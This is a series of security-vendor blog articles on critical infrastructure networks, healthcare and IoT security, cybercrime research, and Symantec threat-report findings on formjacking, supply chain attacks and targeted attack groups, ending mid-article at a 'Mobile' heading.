The efforts, in early stages, were spurred by a recommendation made in August 2017 by the National Infrastructure Advisory Council to explore the creation of separate networks for critical infrastructure to move essential operations off the Internet. The report called for “dark fiber networks for critical control of system traffic and reserved spectrum for backup communications during emergencies.” In addition, the council recommended a private-sector-led pilot of machine-to-machine information sharing so potential cyber threats could be shared and identified more readily.
The U.S. Department of Homeland Security’s warning was hard to miss: “There is a narrow and fleeting window of opportunity before a watershed, 9/11-level cyber attack to organize effectively and take bold action,” the report stated.
Deal-Breaking Complexities
Since the NIAC’s edict, there have been a variety of efforts to explore the possibility, and the idea was the focal point of discussion at a panel at the recent RSA conference. Rob Knake, a senior research scientist in cyber security and resilience at the Global Resilience Institute at Northeastern University and chair of the panel, is heading up a multi-year project to examine the policy, management, and cost concerns associated with creating a Critical Infrastructure Network (CIN) that would move control system operations off the public Internet.
The idea, Knake says, has been kicking around for a while, but there are potentially deal-breaking complexities, not to mention the question of cost.
“The Internet was set up for the purpose of connecting academic research among a closed set of universities sponsored by DARPA, but it’s grown into something that is used for everything, including critical infrastructure, and it wasn’t designed for that,” says Knake. “Those that work in the Department of Defense or the intelligence world operate on a network that is physically and logically separated from the public Internet—a classified network with technical and legal protections. The thinking is that it may make sense to apply the model to the private sector.”
At face value, the model may seem to transfer, but there are real practicalities that stand in the way, Knake says. Government networks are managed and controlled with legal backing and governance over who has access and there are penalties for misuse.
Offloading critical infrastructure to a separate network is akin to a perimeter-based security model, which doesn’t fit with the modern utility infrastructure, which is moving towards microgrids.
That model doesn’t easily transfer when you begin to involve the private sector, he explains. In addition, there are the financial considerations. “To stand this up and move over to it, you have the basic question of who’s going to pay for it because it’s not likely to come cheap,” Knake says. “Also, asking competitors to collaborate on the development and use of [a CIN] is a major barrier.”
Finally, one of the biggest inhibitors is that the notion of what constitutes a network has changed. Offloading critical infrastructure to a separate network is akin to a perimeter-based security model, which doesn’t fit with the modern utility infrastructure, which is moving towards microgrids. There will also be challenges related to managing the thousands of people and third-party management that will need access to the network, which introduces the possibility of insider security risks.
“If you believe the hype at RSA, the perimeter is now dead and advanced security is all about the end points,” Knake says. “This is not an internal company network where there is a moat and castle model.”
Despite the obvious hurdles to a CIN, Knake’s group and others are moving forward with exploring the possibilities. Oakridge National Laboratory (ORNL), which is billed as the largest U.S. Department of Energy science and energy lab, has an early-stage R&D project underway to improve the nation’s critical energy infrastructure. The DarkNet project, backed by $10 million in funding, is looking at how to create a secure energy delivery control system network that uses the existing “dark fiber” of the Internet, which is the unused optical fiber. It also has a quantum physics initiative underway to develop a quantum-rooted grid security framework, which will reveal any attempt to read information in real-time, detectable changes.
“We’re looking at a proof of concept to see what it means in terms of the cost benefits,” said Peter Fuhr, distinguished scientist, director, grid security, Tech Director UAS Research Center, at ORNL, at the recent RSA panel. “The current way of doing cyber security is just not sustainable from a fiscal perspective.”
The current means of securing critical infrastructure may be under stress, but a CIN won’t fully address the primary ways critical infrastructure and industrial networks can be penetrated, notes Andrew Bochman, senior grid strategist, National & Homeland Security for the Idaho National Laboratory. Industrial networks could be infiltrated through existing business and IT systems, remote diagnostics of operational equipment, or by humans brought in for maintenance.
“Creating a CIN doesn’t erase two of the pathways—sneakerware and remote diagnostics,” he says. “Nevertheless, it’s definitely worthy of exploration.”
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Is Healthcare Security in Critical Condition?
Despite progress on several security fronts, experts say it’s time to treat our medical system as critical infrastructure
Ransomware that brings down hospital systems, disables CT scanners and other medical devices and won’t allow patients to be treated. Medical records stolen and sold to the highest bidder. Hackers taking control of pacemakers and insulin pumps. Nation states attacking an entire country’s medical infrastructure.
These are just a few of the potential security dangers that security experts say face the United States healthcare system. The dangers have been known for years, and attempts have been made to secure it. But is the system and its patients more secure today than in the past? Here’s what the experts have to say.
What the Security Reports Say
Perhaps the most in-depth examination of healthcare cyber security was carried out by the Healthcare Industry Cybersecurity Taskforce, funded and overseen by the federal Department of Health and Human Services. When the group released its final report in 2017, it summed up its findings succinctly: “Healthcare security is in critical condition.”
Further, it pointed to a “severe lack of security talent,” vulnerable legacy medical equipment, and the difficulties of protecting an almost impossibly complex medical system made up of “very large health systems, single physician practices, public and private payers, research institutions, medical device developers and software companies, and a diverse and widespread patient population.”
A 2018 Symantec report, “Cyber Security and Healthcare: an Evolving Understanding of Risk,” soon followed, and warned that healthcare cyber risks were rising, in part because health data has become a high-value target for cyber criminals. Perhaps even more frightening, it added, healthcare organizations have become “high-profile targets for hacktivists and nation states.”
What the Experts Say
Have things gotten better since then? Dr. Christian Dameff, an emergency room doctor at the University of San Diego and cyber security researcher with a focus on healthcare, says the results are mixed.
“There’s been progress,” he says, “But we’re still far behind where we need to be. We still have daily breaches. We don’t do a good job with data security. But at least we’re beginning to recognize the problems and turn the tide.”
Large hospitals and healthcare systems in metropolitan areas are the most protected, he says, because they have the funds and sophistication to address the problems. But facilities in more remote and rural areas lack funds and know-how, and so are most at risk.
But even the most sophisticated hospital systems, he believes, “don’t have a coherent cyber security strategy in place. It’s not because they don’t want to. It’s because no one has been able to establish one yet. You can’t just borrow a security playbook from finance or other industries. The healthcare industry is far more complex than other industries when it comes to cyber security.”
Facilities in more remote and rural areas lack funds and know-how, and so are most at risk.
Among the difficulties are that hospitals “Are Frankensteins put together from disparate parts — they include hundred-plus vendor systems with poor interoperability between equipment.” Medical devices such as CT scan machines frequently run on outdated operating systems like Windows XP that can’t be properly protected — and large systems can have hundreds of such devices, each with their own unique, one-off security challenges.
He adds that in other sectors, such as the financial industry, it’s easy to know when you’ve been attacked — money goes missing. But in healthcare, people get sick and die every day, and it can be difficult to know the reasons for it. So, there’s no obvious red flags that signal a hacker has invaded a system.
Beyond that, he says, “many vulnerabilities have nothing to do with medical systems — they’re with off-the-shelf software like databases that aren’t being protected properly.” The impact of them being hacked is more serious than if it happens in another industry, he explains. If a hacker brings down an entire hospital system, it means that vital tests can’t be done, and treatments can’t be given because medical professionals have no access to patient data, and medical devices won’t work when the hospital infrastructure goes down.
Urgency, not Panic Needed
Symantec Technical Architect Axel Wirth says that despite the myriad cyber dangers to the healthcare system, “I don’t think it’s a ‘the-sky-is-falling’ type of situation, so we shouldn’t panic. But we should proceed with a sense of urgency.”
He says there has not been a documented incidence of a medical device such as a pacemaker being taken over by hackers and then used to harm a patient. And he worries that if the potential dangers of medical equipment being hacked get overblown, “There’s an opportunity for over-reaction and patients may reject perfectly sensible medical treatment out of the fear of cyber attacks.”
However, he says that hospitals are still in danger of being victimized by ransomware, malware and other attacks, and he concurs with Dr. Dameff that the complexity of the healthcare system makes it difficult to protect it. He suggests a number of solutions, including medical device makers warning hospitals and doctors about device vulnerabilities, hospitals including security requirements in purchasing agreements with manufacturers, and government taking actions to ensure new devices meet cyber safety requirements.
He also emphasizes that public education of patients and doctors about cyber dangers of medical devices is vital — for example, about the importance of having medical device firmware updated when device makers recommend it.
Dr. Dameff adds that there has been progress in cyber protections, notably by the FDA in security regulations for new medical devices. But ultimately, he believes the solution to medical cyber security requires much more than isolated actions from government, the industry and manufacturers. The only way to protect the healthcare industry and patients, he concludes, is that that government and industry “treat our medical system as critical infrastructure, in the way they treat our electrical grid. Only then can we make real progress towards securing it.”
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Isolation: It’s Not Always a Bad Thing
For gov’t agencies under increasing attack, threat isolation strategies likely to loom large in battle against bad actors
The internet offers a lot of benefits: You can buy almost anything on Amazon, let ESPN manage your fantasy football league, and reconnect with old friends and family members through social media.
But, as we all know, the web provides significant security challenges. The threat of phishing, ransomware and other malicious attacks from uncategorized URLs, websites and email is ever-present. And, the government is a prime target for attack.
In order to mitigate these risks, threat isolation strategies have become an innovative way to help agencies fight the efforts of bad actors. These technologies can help agencies keep systems secure, protecting devices, networks and the growing number of web-connected technologies, which have dramatically expanded the traditional boundary.
As background, threat isolation executes web sessions away from endpoints, sending only safe rendering information to users’ browsers thereby preventing any website delivered zero-day malware from reaching devices. It is an emerging technology, and it will be a key component of the upcoming Symantec Government Symposium. This event, held October 30 at the Marriott Marquis in Washington D.C., will bring together hundreds of leaders throughout government and industry to discuss the ever-changing cyber landscape, and what technologies have proven effective against the newest threats.
The use of threat isolation strategies will be the subject of our lunch and learn session during the Symantec Government Symposium. Chad Knupp, a federal systems engineer for Symantec, and I will discuss how these technologies have evolved and, more importantly, how they can be brought into today’s government environment.
The session will discuss:
The benefits of an isolation strategy and its role in an integrated cyber defense platform
How to give privileged users extra protection from web-based threats
The effect an isolation strategy will have on overall IT spending
How threat isolation reduces the inherent risk of messaging and web applications to give IT administrators greater control
To Register for the Symantec Government Symposium: Click HERE
The recently released Cloud Smart Strategy and National Cyber Strategy provide insight into how the Trump administration wants to strengthen agency security. The onus is now on the agencies themselves to implement these strategies in an effort to keep data secure.
Threat isolation plays a part in this new cyber security paradigm. Join us at the Symantec Government Symposium to learn how these technologies can specifically help government agencies, and what other technologies and techniques agencies can look to today to make significant change.
For the complete Symantec Government Symposium agenda, visit here.
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Is Regulation the Answer to Fixing IoT Security?
RSA panelists see a national interest in regulating the Internet of Things. Just one problem – the absence of commitment to do very much on Capitol Hill
When a cyber attack hit AP Moller-Maersk last year, the world’s largest container shipping line was forced to shut all its IT systems, stranding a fleet of ships at sea and bringing work at its 76 port terminals around the world to an abrupt halt.
If you wanted a real-world example of what can go wrong in the era of connected systems, this qualifies as Exhibit A.
Companies like Moller-Maersk are now increasingly reliant on digital systems and connected devices that were not designed with security in mind, and haven’t been updated with the latest antivirus technology. That situation is the equivalent of a flashing warning sign given the lingering security vulnerabilities affecting devices being connected as part of the Internet of Things.
“This raises the kind of threat that can put a company out of business,” said Robert Metzger, who advises companies on cyber supply chain security and is the head of the Washington office of the law firm Rogers, Joseph O’Donnell, PC.
Until recently, discussions about enforcing IoT security norms have been the purview of the private sector. That’s starting to change with federal agencies focusing attention on the question. Given the clear privacy and data collection issues surrounding the massive amount of data passing through billions of IoT devices each day, proponents say more active regulatory intervention is in the national interest.
But despite garnering more attention, the reality is that government remains slow to take up the challenge of IoT security.
“For years people wrote about how IoT would bring both wonderful opportunities and new vulnerabilities,” said Metzger, who was speaking on a panel at the RSA Conference in San Francisco this week. “Those expectations have become actuality. The problem is that these guys still don’t understand the technology.”
Metzger and his fellow panelists noted that nation-state and other adversaries now have the technical ability to deploy asymmetric warfare tactics against IoT devices, which are proliferating throughout business and government.
The problem is that in the absence of industry agreement, many IoT devices fail to incorporate even basic security measures and arrive in the market with security flaws vulnerable to malicious hackers.
“All those devices are making their way into enterprise systems and the challenge is how to reconcile risk and opportunity,” said Dan Caprio, the co-founder of The Providence Group and an adviser to enterprises on risk security. “We really are in uncharted territory.”
Caprio faulted both the legislative and executive branches for pushing IoT to the backburner instead of making the necessary hard choices to design stronger security. “We’ve not addressed some of the hard problems,” he said. “We need out of Congress, the Executive branch as well as the state government level, the political will to think much more strictly about how we should regulate these systems and networks.”
Considerable efforts have been invested in building standards alliances to end the industry fragmentation over IoT standards as a prelude to building more security into the devices. But while many of these initiatives complement one another, many others overlap and directly compete.
In theory, regulators can fill that void by using the law to require the various stakeholders to get in line. In practice, it’s not so easy.
“IoT is here and the law is not,” said Harvey Rishikof, a director at the American Bar Association, who did previous stints working as an official in the Defense Department and the FBI. “So, we’re in an extraordinary role of playing catch-up. But security is not keeping pace with IoT.”
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Is the Mafia Taking Over Cyber Crime? Not Really
From Black Hat 2018: Unlike the popular narrative that the Mafia is not only getting involved in cyber crime, but taking a leading role in the enterprise, the truth is a lot more complicated
Don Corleone as criminal cyber mogul?
The criminal part, to be sure. The cyber mogul stuff – not so fast.
In recent years, a narrative has rooted itself in popular imagination that organized crime groups are not only increasing their involvement in cyber crime, but are also taking a leading role in the enterprise. But an upcoming study by a sociologist at the University of Oxford says the conventional wisdom is in many cases flat wrong.
“What is it about traditional organized crime groups that makes them different from other groups? They attempt to go into a criminal market. So, if someone else deals drugs, you want to drive them out or have them pay you,” said Jonathan Lusthaus, who is the Director of the Human Cyber Criminal Project at Oxford. “A mafia isn’t satisfied with controlling one criminal market. They want to control all criminal markets. They want to monopolize all of those industries. Every criminal activity will be under their umbrella.”
Lusthaus, who based his study on 7 years doing fieldwork across 20 countries and interviews with 238 representatives from law enforcement, the private sector, and former cyber criminals, offered a preview of his research at the BlackHat USA 2018 conference. His study, to be published later this year, will argue that the range of connections between Mafias, organized crime – particularly the Russian Mafia – and cyber crime, has been vastly overstated in the popular imagination.
“Overall, I’m suggesting that organized crime is not taking over cyber crime. What I’ve encountered more often is a new class of entrepreneur. They could be operating in a different industry. They’re just doing it in a criminal industry and seeing it as more of a business.”
Cyber Crime Pays
“You hear: `The Russia mafia are the most prolific cyber criminals in the world.’ I hear those ideas frequently,” he said. “The claims are inaccurate.”
In Russia, he said, the reality on the ground is more complex and more nuanced than this broad-brush approach would suggest.
Lusthaus noted that many members of the Russian underworld belong to what’s known as The Vory – thieves-in-law. These gang members came to prominence in the former Soviet prison system, where they developed into a specific criminal fraternity.
“In the 1990s, when the Soviet Union collapsed and [Russia] moved to a free-market economy, everything came up for sale and there was now private property. But you needed that property to be enforced. Russia had a very weak state and didn’t have a police and court system that could enforce deals.”
It was in that atmosphere that the post-Soviet Russian mafia emerged, he said, ready to employ violence to provide this service as an alternative to people willing to pay. It also turned to cyber crime, a development that got played up in the media after a Russian hacker illegally transferred $3.7 million from Citibank in 1994. A Russian Mafia group based in St. Petersburg called the Tambov gang, known for their use of violence, coordinated the delivery of proceeds to Russia.
Indeed, rather than seek protection from organized crime, Lusthaus said cyber criminals are more likely to try and bribe members of law enforcement or even politicians in return for protection.
But despite the spectacular nature of certain individual anecdotes, Lusthaus says the narrative is less compelling. What you find more often – in Russia and other regions he studied – are marriages of convenience where groups come together for short-term arrangements.
“Are we seeing a takeover today? I don’t think so. What we are seeing is some involvement - but not in every case. A lot of former cyber criminals I interviewed don’t want to be involved with (Mafias),” he said. “You have street guys collaborating with nerds. But if you’re some sort of technical guy, do you really want to be in business with organized crime, with someone who can do you physical harm?"
Indeed, rather than seek protection from organized crime, Lusthaus said cyber criminals are more likely to try and bribe members of law enforcement or even politicians in return for protection.
When organized criminals do get involved and cyber criminals do work together, Lusthaus said it usually involves the following activities:
Providing protection for cyber criminals who may become vulnerable to theft or extortion.
Investment in certain criminal schemes as a source of funding. Organized crime groups only need to make contact with a cyber criminal group and supply them with a pool of capital furnished from their other operations.
Function as service providers and as partners for broader cyber crime operations in which organized crime groups leverage their expertise in money laundering and their ability to physically enforce group arrangements.
Guidance in any proposed cyber crime schemes. This usually involves recruiting those with technical skills, among others, to carry out the jobs.
Lusthaus’s thesis also challenges conventional assumptions about how society ought to combat cyber crime. If we’re talking about a phenomenon that’s basically an organized crime problem, that suggests the response ought to be left primarily with law enforcement.
However, if this boils down to a question of how best to deal with underemployed entrepreneurs and programmers, Lusthaus believes governments should consider policy prescriptions that reduce the incentives for technically adept citizens to partner with organized crime groups. But, he added, that also means there’s some “big picture thinking that needs to happen” and officials will need to grapple with the challenge.
Along with supporting corruption reduction efforts, Lusthaus suggested the creation of initiatives to provide greater access to startup capital and spur more company hiring from affected regions.
“It’s a difficult problem to solve but it’s important to have a discussion nonetheless,” he said.
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ISTR 2019: Cyber Criminals Ramp Up Attacks on Trusted Software and Supply Chains
Living off the land and supply chain attacks have been around for years, but spiked significantly in the past year
As most companies have learned, unhappily, in recent years, hackers and other cyber criminals are nothing if not resourceful. Sometimes that resourcefulness manifests itself in the creation of sophisticated malware code, or perhaps in clever social engineering ploys that trick users into taking risky actions.
When the countermeasures of defenders prove effective, however, resourceful attackers readily turn to more promising avenues of exploitation. Increasingly, those avenues involve attacking trusted software that people are already using, as well as leveraging established supply chains such as software tools vendors and cloud service providers.
Attacks that target installed software tools and operating system features are said to be “living off the land”, as they take build on software that is generally available across the computing landscape. Supply chain attacks are a distinct, but related, attack approach, in that they compromise the offerings of existing and trusted suppliers.
When the countermeasures of defenders prove effective, however, resourceful attackers readily turn to more promising avenues of exploitation.
Living off the land and supply chain attacks have been around for years, but spiked significantly in the past year, according to Symantec’s 2019 Internet Security Threat Report (ISTR). For example, malicious scripts that use the PowerShell task automation and configuration management framework increased by 1,000% during 2018, the ISTR reports. With its installed base of cyber security tools, Symantec itself is blocking an average of 115,000 malicious PowerShell scripts each month.
For their part, supply chain attacks increased by 78% during 2018. “Exploits and vulnerabilities are getting harder to find, so attackers are just weaponizing something that’s already there,” says Orla Cox, director of security response at Symantec, in explaining the rise of both living off the land and supply chain assaults.
Exploiting software that’s widely used and depended upon also has the advantage of greatly complicating the task of defenders. In one example of this dynamic, cyber security firms have grown more capable in blocking malicious JavaScripts, which caused the number of such scripts to decline in the past year. From 2017 to 2018, however, malicious Office files rose from constituting 5% of all malicious email attachments to 48% of those attachments.
“It’s easy for organizations to block JavaScript in email,” Cox notes, “but you can’t easily block Office files.”
In most cases, living off the land attacks are just one element of multi-pronged assaults. During 2018, however, Symantec researchers found a “pure” living off the land attack group, which the researchers dubbed Gallmaker. The attackers focused on government and military targets in Eastern Europe and the Middle East but used no malware in their operations.
Instead, the Gallmaker group sent malicious Office documents to targeted users, most likely using spear-phishing techniques to get users to open the documents and enable their contents. These actions, in turn, let the attackers use the Microsoft Dynamic Data Exchange (DDE) protocol to remotely execute commands in memory on the victim’s computer and to execute other living off the land tools.
Often, the attackers were found to be targeting third-party services commonly used by online retailers such as chatbots or customer review widgets.
As Symantec noted when publicizing its discovery of Gallmaker, the “attackers are hoping to ‘hide in plain sight,’ with their malicious activity hidden in a sea of legitimate processes.”
Perpetrators of supply chain attacks have much the same aim. As Symantec’s ISTR notes, this type of attack can take many forms, “including hijacking software updates and injecting code into legitimate software.” Cloud service providers are also common targets, with the goal being to turn established cloud services into attack vehicles.
As with living off the land attacks – Gallmaker notwithstanding – supply chain attacks are typically multi-modal assaults. One increasingly common pairing is that of supply chain and formjacking techniques. The latter typically employs malicious JavaScript code to steal credit card data and other information from payment forms on the checkout web pages of eCommerce sites.
Symantec’s ISTR documents a steep rise in formjacking attacks during 2018, with many of them being part of supply chain attacks. Often, the attackers were found to be targeting third-party services commonly used by online retailers such as chatbots or customer review widgets.
Due to the relative ease of using trusted software and channels – and the difficulty in detecting and countering those exploits – Cox says we can expect living off the land and supply chain attacks to become “the new normal.” Despite the inherently stealthy nature of these attacks, however, there are ways to combat them.
Symantec’s ability to discover the Gallmaker living off the land attack illustrates this defensive potential. Gallmaker’s use of living off the land tactics along with publicly available hack tools made it extremely difficult to detect. Symantec was able to discover the attack thanks to the cyber security firm’s Targeted Attack Analytics (TAA) technology.
Part of the company’s Advance Threat Protection portfolio, TAA includes sophisticated artificial intelligence and machine learning technology in order to provide organizations with “virtual analysts” that are able to spot potential threats. In the case of the Gallmaker attack, Symantec’s TAA flagged certain PowerShell commands as suspicious, which ultimately led to the discovery of the group’s living off the land campaign.
Trusted, widely used software tools and supply chains present cyber criminals and other bad actors with almost irresistible attack avenues. Organizations need to understand the methods employed in these attacks and employ an approach that has become common in nuclear weapons negotiations: trust but verify.
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ISTR 2019: Cyber Skimming Payment Card Data Hits the Big Time
Formjacking, while by design less attention grabbing than ransomware, is becoming a pervasive form of money-making attack
During the past few years, we’ve seen alarming instances of nation states using cyber intrusions to sow political discord, infect critical infrastructure, and steal military, government and enterprise secrets. As we grapple with the escalation and ramifications of global activity across this virtual battlefield, it’s important to remember one persistent reality: many cyber criminals are just in the game to make a buck.
One splashy way to cash in online, of course, is to use ransomware to encrypt data and hold it hostage until the victims pay you off. As noted in a recent post, however, although ransomware remains a major threat, Symantec actually tracked an overall decline in this form of attack during 2018 in their annual ISTR report.
Meanwhile, a different money-making exploit showed a significant uptick last year. Formjacking, while by design less attention grabbing than ransomware, is becoming a pervasive form of money-making attack.
Formjacking is the name Symantec uses to label a cyber attack often called web skimming. In essence, this type of attack is a cyber variant of physical credit card skimming devices, which thieves insert in card readers at sites ranging from ATM machines to gas station pumps. When a customer inserts his or her card, the skimming device captures the sensitive information it contains.
In the formjacking instantiation of this technique, cyber thieves use different methods to infect eCommerce websites with malicious JavaScript code. When consumers load, fill out and submit a check-out form from an infected website, a copy of the payment form data, including credit card details, is sent to the attackers’ servers.
Formjacking, while by design less attention grabbing than ransomware, is becoming a pervasive form of money-making attack.
There were several high-profile formjacking attacks that came to light during 2018. (Some attacks were likely initiated earlier, but only discovered last year after they had successfully collected payment card data over extended periods.)
While these and a few other big corporation attacks made the news last year, formjacking has become an extremely widespread phenomenon. An average of 4,818 unique websites were compromised by formjacking each month during 2018, according to Symantec’s annual Internet Security Threat Report (ISTR). Throughout the year, Symantec blocked more than 3.7 formjacking attempts against websites that were protected with its Intrusions Protection System (IPS) technology, according to Brigid O’Gorman, a senior information developer with Symantec Security Response.
As suggested by the huge numbers of attacks, formjacking isn’t limited to only big-name victims. To get a better sense of the sites targeted, Symantec investigated 1,000 instances of formjacking attacks that it blocked during a three-day period from September 18-20, 2018.
The 1,000 attacks impacted 57 individual websites, Symantec found. Most were online retail sites, ranging from niche market players to large retailers. Among the sites targeted: a fashion retailer in Australia, a supplier of outdoor accessories in France, and a fitness retailer in Italy.
Clearly, formjacking is a global, equal-opportunity cyber plague. Smaller eCommerce sites should understand that their size alone won’t protect them from this form of attack.
As for the attackers themselves, most are identified with the “Magcart” label. Rather than a single, cohesive group, however, Magcart seems to consist of a number of independent groups that sometimes even compete with one another. It makes sense that the formjacking community may be fairly diverse and fragmented, since it’s relatively easy and inexpensive to purchase attack kits on the dark web to execute this type of assault.
Formjacking is a global, equal-opportunity cyber plague. Smaller eCommerce sites should understand that their size alone won’t protect them from this form of attack.
Attackers can use a variety of methods to introduce their code to eCommerce websites, including direct exploits against any vulnerabilities in the sites’ own coding. There are indications, however, that formjacking criminals are increasingly looking to distribute their malware by injecting it into third-party software and services that, in turn, are used by a large number of websites.
Supply chain targets of this type can include everything from third-party chatbots to software that performs web analytics or web management functions. In fact, the source of one formjacking breach turned out to be an Inbenta chatbot on which the JavaScript malware was piggybacking.
The economic rationale behind the high volumes of formjacking attacks is straightforward enough: according to Symantec’s ISTR, criminals can sell payment card information on the dark web for anything from 50-cents to $45 per stolen card. Be it with a large attack, or via an aggregation of smaller-company breaches, the formjacking payoffs can be substantial.
With the proper protections, websites can defend against formjacking injections – as shown by the 3.7 million attacks that Symantec repelled during 2018. Still, eCommerce site operators must remain hypervigilant against this form of attack, especially given the risk of infected software and services coming from otherwise trustworthy supply chain partners. All website code, whether homegrown or third-party, must be scrutinized for formjacking malware before being introduced to operational websites.
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ISTR 2019: Targeted Attack Groups Increase Despite Growing Risk of Exposure
Symantec research finds that the majority of targeted attack groups have state-sponsored hallmarks, some of whom have a particular interest in strategic infrastructure
One of the ironies within the cyber security realm is that some of the most troubling and dangerous cyber attacks are often the least noticed and publicized. That’s just the way the perpetrators of targeted attacks want it.
Consider the varying goals of different types of hackers, thieves and other online criminals. If you’re using a distributed denial of service attack to take down major websites or encrypting critical data and demanding a ransom to release it, subtly isn’t exactly the name of your game.
By contrast, the overarching goal – to date, at least – of targeted attack groups is to gather intelligence, ranging from government and military secrets to corporate intellectual property. The longer these attackers can go undetected and unidentified, the better for perpetuating their stealthy activities.
That said, it’s getting tougher for targeted attack groups to remain fully anonymous, given the growing capabilities of cyber security researchers to track them down. During 2018, for example, Symantec uncovered four new targeted attack groups, according to the 2019 edition of the company’s annual Internet Security Threat Report (ISTR). Those four join a relatively small number of known groups – about 155 – identified to date.
“Intelligence gathering is the bread and butter of these groups,” says Dick O’Brien, principal editor with the Symantec Security Response organization. Indeed, Symantec estimates that stealing intelligence is a motive driving 96% of targeted attack groups. A few groups do have multiple, or entirely different motives: overall 10% aim to cause some form of disruption, and 6% seek financial gain, Symantec reports.
“Often, a group will send spear phishing emails to employees at a targeted organization,” O’Brien says. “If an employee opens a link in the messages, the user’s computer is infected with malware, giving the attacker a toehold in the organization’s network. From there, they can deploy various tools, map the network, and find the information they’re seeking.”
One of the most concerning targeted attack trends identified by Symantec last year was an uptick in focus on strategic infrastructure.
Pulling off targeted attacks requires a variety of skills and resources, and a fair degree of sophistication. While it’s possible an individual might sometimes manage such an attack, groups of experts are usually involved. And, given the targets of these attacks – which often include military and government agencies, diplomatic operations and strategic infrastructure – “the majority of targeted attack groups have state-sponsored hallmarks,” O’Brien says.
One of the most concerning targeted attack trends identified by Symantec last year was an uptick in focus on strategic infrastructure. The ISTR warns of “… a growing number of groups displaying an interest in compromising operational computers, which could potentially permit them to mount disruptive operations if they chose to do so.”
In fact, one of the four new attack groups identified by Symantec– which it dubbed the Thrip group – fell into this category of potential disruptors. This espionage group breached the computers and networks of a number of telecommunications operators and other organizations, including a defense contractor. One target was a satellite communications operator, suggesting a possible goal of the attackers was to infect the computers that monitored and controlled strategic satellites.
Like a growing number of cyber attackers, the Thrip group employed living off the land techniques to keep their actions low profile. Symantec was only able to discover the initial signs of the Thrip attack thanks to the firm’s Targeted Attack Analytics (TAA) technology. TAA employs sophisticated artificial intelligence and machine learning technology that was able to flag suspicious activity involving a common Microsoft tool called PsExec. It’s unlikely that human security analysts could have processed all of the data that TAA was able to crunch in order to detect the PsExec-disguised movements of the attackers within the network of the initial victim identified – a Southeast Asian telecom operator.
Symantec was ultimately able to pinpoint the source of the Thrip attack. While the actual perpetrators of the attack have yet to be identified, there are hopeful indications that they and other targeted attack groups are becoming much more vulnerable to exposure and prosecution.
The ability of government and private cyber security sleuths to track down individual attackers became clear during 2018 with the highly publicized indictment of foreign nationals and three companies charged with interfering in the 2016 U.S. Presidential election. While this indictment garnered most of the headlines, there were 49 targeted attack group individuals or organizations indicted during 2018, according to Symantec’s ISTR. That compared to just four such indictments in 2017 and five in 2016.
Further, A U.S. Department of Justice indictment against two foreigners associated with an attack group called Advanced Persistent Threat 10 provides a window into the nature and objectives of these types of attackers. Symantec’s ISTR notes that such indictments – aided by investigative and analytic cyber security tools such as its TAA – could put targeted attack groups and their sponsors under increasing scrutiny and pressure. Still, there is no doubt that such attacks will persist, and that cyber defenses will need to continually improve. The potential payoffs of targeted attacks – be they information gained, or infrastructure disrupted – will motivate groups, and the countries that sometimes sponsor them, even as the risk of exposure increases.
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ISTR 23: Insights into the Cyber Security Threat Landscape
ISTR 23 provides a fresh perspective on the main happenings in infosec in 2017.
Coin mining, ransomware, targeted attacks, mobile security, and attacks leveraging the software supply chain. These are just some of the topics that made headlines in infosec in 2017 and which are covered in ISTR 23, your comprehensive guide to the cyber security threat landscape, which is available to download now.
The biggest trend in 2017 was the explosion in cryptocurrency coin mining. The surge in interest in this area was such that detections of coinminers on endpoint computers in 2017 surged by 8,500 percent.
Figure 1. Detections of coinminers on endpoint computers in 2017 surged by 8,500 percent
A coinminer is a file or script that is used to mine cryptocurrencies such as Monero. Cyber criminals started trying to make money this way primarily because there was a huge rise in the value of cryptocurrencies in the last quarter of 2017, making this type of cyber crime extremely profitable.
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Cyber criminals use coinminers to steal victims’ computer processing power and cloud CPU usage to mine cryptocurrencies. The barrier to entry for coin mining is pretty low—potentially only requiring a couple of lines of code to operate—and coin mining can allow criminals to fly under the radar in a way that is not possible with other types of cyber crime. Victims may not even realize a coinminer is slurping their computer’s power as the only impact may be a slowdown of their device that they could easily attribute to something else. However, coin mining on a device could potentially cause batteries to overheat and devices to become unusable. Coin mining also has implications for organizations. Self-propagating coinminers may require corporate networks to be shut down. Coin mining in the cloud also has financial implications for organizations that are being billed based on CPU usage.
While malicious coinminers appear to thus far be primarily targeting computers, and mobile phones to some extent, as it evolves cyber criminals may increasingly target IoT devices. We observed a 600 percent increase in overall attacks on IoT devices in 2017, showing that while they didn’t make headlines like they did thanks to the Mirai botnet in 2016, they are still very much a target for cyber criminals.
Figure 2. Attacks on IoT devices increased by 600 percent in 2017
Ransomware
Ransomware made headlines in 2017 thanks to the WannaCry ransomware (Ransom.WannaCry) and Petya/NotPetya (Ransom.Petya), which was a destructive wiper that masqueraded as a ransomware. However, these were not “typical” ransomware attacks, and both appear to have been the work of targeted attack groups, rather than typical cyber criminals. They were part of a new trend we have observed where ransomware is being used by targeted attack groups as a decoy, to cause disruption or, in the case of WannaCry, to try and generate revenue.
The “traditional” cyber crime ransomware market made a “correction” in 2017, with fewer new ransomware families and lower ransom demands. Ransomware’s profitability in 2016 led to a crowded market and overpricing of ransom demands, but in 2017 cyber criminals seemed to find the sweet spot that victims are willing to pay. The average ransom demand in 2017 was $522, less than half of the average of 2016.
Figure 3. Cyber criminals found a sweet spot with their ransom demands in 2017
Ransomware variants increased by 46 percent in 2017, which indicates that established cyber crime groups are still quite active, but there was a drop in the number of new families discovered. This may indicate less innovation on behalf of cyber criminals, and may be a sign that their focus is currently elsewhere. Some online banking threats experienced a renaissance in 2017 as ransomware groups sought to diversify, while many cyber criminals may also have focused on coin mining while cryptocurrency values were high.
Targeted attacks
In this year’s ISTR we also examined the tools, tactics, and motivations of targeted attack groups. There are currently 140 targeted attack groups actively tracked by Symantec. We found that overall targeted attack activity increased by 10 percent in 2017, and the primary motive of 90 percent of groups was intelligence gathering. However, one-in-ten groups was also engaged in some kind of disruptive activity.
Analysis also showed that the use of “living off the land” tools and techniques is still favored by many attack groups. The use of zero days continues to fall out of favor for many groups, with only 27 percent of the targeted attack groups known to Symantec having ever used zero days.
There was an average of one supply chain attack every month in 2017, compared to four attacks annually in previous years.
Somewhat related to this is another trend we observed in 2017: an increase in software update supply chain attacks. This attack type sees attackers inject malware implants into the supply chain to infect unsuspecting victims. This type of attack was the initial infection vector for the Petya/NotPetya malware, which used a Trojanized update for a Ukrainian accounting software to gain a foothold on corporate networks, before eventually spreading worldwide using the EternalBlue exploit and other methods. There was an average of one supply chain attack every month in 2017, compared to four attacks annually in previous years. These types of attacks allow attackers to infiltrate well protected networks by exploiting weaker links in their software supply chain.
Figure 4. Supply chain attacks increased by 200 percent in 2017
Mobile
